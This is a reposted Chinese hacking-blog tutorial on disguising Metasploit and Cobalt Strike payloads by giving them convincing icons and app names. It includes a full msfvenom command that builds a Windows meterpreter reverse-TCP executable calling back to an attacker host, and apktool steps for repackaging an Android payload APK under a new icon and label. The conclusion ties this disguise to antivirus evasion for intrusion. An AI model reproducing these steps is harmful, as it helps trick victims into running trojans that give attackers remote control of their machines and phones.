通过修改图标伪装你的Shell

admin 2023年1月14日11:13:58安全文章评论7 views929字阅读3分5秒阅读模式

我们在利用msfcs生成shell时。默认情况下生成的文件是没有图标的。这在实际中对我们后期的“肾透”十分不友好。本文将为你介绍下,如何添加图标!

修改EXE图标

msf和cs生成shell的结构不一样,因此我们无法用同一款工具进行修改。

🎃修改msf shell图标

我们先生成一个shell

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.5.82 LPORT=5555 -f exe -o 1.exe

修改图标,这里我们需要这样一款工具QICON Changer,他的使用也很简单,只需要将exe安装文件拖动到软件的左侧,然后把需要更换的图标移动到软件的右侧,然后按下Apply就可以了。

通过修改图标伪装你的Shell

🚢修改cs图标

首先拖动 exe 到资源树这里,然后「右键」-「添加资源」-「Windows 标准类型」选择「图标」 然后名称随意填写(不为空就 OK):

通过修改图标伪装你的Shell
通过修改图标伪装你的Shell

接着将上面准备的 ico 文件拖入到刚刚创建的图标中:

通过修改图标伪装你的Shell最后 文件另存为即可保存带图标的 exe 程序了,就是这么简单。

通过修改图标伪装你的Shell

修改APP图标

默认情况下,msf生成的Android shell是默认的安卓图标。并且名字也是英文。来看看如何修改吧!首先我们需要反编译生成的app

apktool bbskali.apk

通过修改图标伪装你的Shell先下载一个格式为png格式的图标。在res新建 drawablepng格式图片放到里面

通过修改图标伪装你的Shell

修改AndroidManifest.xml文件,打开文件在里面新添一句代码

<application android:icon="@drawable/icon" android:label="@string/app_name">

将原来的删除application android:label="@string/app_name">

通过修改图标伪装你的Shell

打开文件文件,修改为你自己的名称res-values-strings.xml

通过修改图标伪装你的Shell

最后汇编app 并签名

apktool b bbskali

通过修改图标伪装你的Shell最后效果

通过修改图标伪装你的Shell

总结

通过对生成的Shell进行二次包装,再根据我们前期的免杀。这样能更好的达到伪装的效果,从而达到“肾透”的目标。

更多精彩文章  欢迎关注我们

原文始发于微信公众号(kali黑客笔记):通过修改图标伪装你的Shell

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月14日11:13:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  通过修改图标伪装你的Shell http://cn-sec.com/archives/1517924.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: